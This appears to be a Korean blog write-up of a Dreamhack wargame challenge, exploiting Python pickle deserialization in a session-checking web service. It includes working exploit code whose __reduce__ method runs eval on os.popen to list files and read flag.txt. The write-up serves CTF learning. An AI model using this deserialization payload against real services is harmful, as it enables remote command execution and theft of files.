문제 정보
Session Login이 구현된 서비스입니다.
Python(pickle)의 Deserialize 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt 또는 FLAG 변수에 있습니다.
풀이 힌트
1. pickle exploit
참고 사이트 : https://rootable.tistory.com/entry/python-deserialize-vulnerability-in-pickle-module
문제 풀이
![](https://blog.kakaocdn.net/dn/lu5VY/btrm3QgVJ7b/0MZOSrqfUgSjXS73t4YxTK/img.png)
문제 페이지에 들어가니, Create Session과 Check Session 기능이 있었다.
공격 백터를 확인하기 위해 하나씩 살펴보겠다.
![](https://blog.kakaocdn.net/dn/lkgDT/btrmY6d0jSp/gBVATuQ7XAzqBB6rBK0VfK/img.png)
Create Session 메뉴는 create_session 페이지로 이동되었다. 해당 페이지는 name, userid, password를 입력값으로 받아 POST 메소드로 서버에 전달됐다.
서버에 값들을 전달하면 어떤 결과가 나타나는지 확인해봤다.
![](https://blog.kakaocdn.net/dn/b2ndtZ/btrm7LsBC0f/0hRKrkL4kVwovpvkrMG4TK/img.png)
![](https://blog.kakaocdn.net/dn/GPnDu/btrm5zTvaKQ/MS5zdqhr5mhHVnkjiISpWk/img.png)
출력된 것은 base64로 보이는 값이 출력됐다.
![](https://blog.kakaocdn.net/dn/dNKBzE/btrm7Lzn4xR/9yhqV4mnrk6VrnG6AAb2V1/img.png)
그래서 디코딩을 해보니, 내가 입력한 값이 그대로 출력된 것을 볼 수 있었다. 하지만 여기는 중요한 부분이 아니라고 생각이 든다.
![](https://blog.kakaocdn.net/dn/wIwBS/btrm3Ls0Cjy/v5rK7mElqildymNKbOJd3K/img.png)
Check Session 메뉴는 check_session 페이지로 이동되었다. session을 입력하라는 것을 보니, create session에서 만든 base64를 넣어서 서버에 전달해주면 unpickle해주는 것으로 보인다.
![](https://blog.kakaocdn.net/dn/bm3yHc/btrmZIjDYwD/PsKTKvFWk0GTvqXWssKUO0/img.png)
하지만 admin 세션이라고 flag를 주는 것은 아니였다. 인터넷에 찾은 pickle의 취약점을 이용하여 공격을 시도해보겠다.
import pickle, os, base64
class Vuln(object):
def __reduce__(self):
command = "os.popen('ls').read()"
return (eval, (command,))
info = {
"name": Vuln(),
"userid": "test",
"password": "test",
}
pickleData = base64.b64encode(pickle.dumps(info)).decode("utf8")
print(pickleData)
![](https://blog.kakaocdn.net/dn/bdunrD/btrm5yf0jbH/ibEK5phaE1M7aFl27jxQk1/img.png)
나는 일단 flag.txt 파일을 찾기 위해 ls 명령어를 실행시켰다.
![](https://blog.kakaocdn.net/dn/xrUA4/btrm0pYsrZ0/7tIci2Kr3Mci7eapAZR5ik/img.png)
확인해본 결과 flag.txt 파일이 같은 곳에 존재하는 것을 볼 수 있었다.
import pickle, os, base64
class Vuln(object):
def __reduce__(self):
command = "os.popen('cat ./flag.txt').read()"
return (eval, (command,))
info = {
"name": Vuln(),
"userid": "test",
"password": "test",
}
pickleData = base64.b64encode(pickle.dumps(info)).decode("utf8")
print(pickleData)
![](https://blog.kakaocdn.net/dn/bkM6DE/btrm0pjPgY5/8Th1QtE0KDEO8rnfAI3K71/img.png)
![](https://blog.kakaocdn.net/dn/bhogxc/btrmZ1pCrTA/v6kUBvSHK9etZkTSD285Ak/img.png)
아주 손쉽게 flag를 획득할 수 있었다.
'Wargame > Dreamhack' 카테고리의 다른 글
[Dreamhack Web - Lv 2] blind-command (0) | 2021.12.11 |
---|---|
[Dreamhack Web - Lv 2] web-ssrf (0) | 2021.12.06 |
[Dreamhack Web - Lv 2] file-csp-1 (0) | 2021.12.05 |
[Dreamhack Web - Lv 2] login-1 (0) | 2021.12.05 |
[Dreamhack Web - Lv 2] simple_sqli (0) | 2021.12.05 |
Comment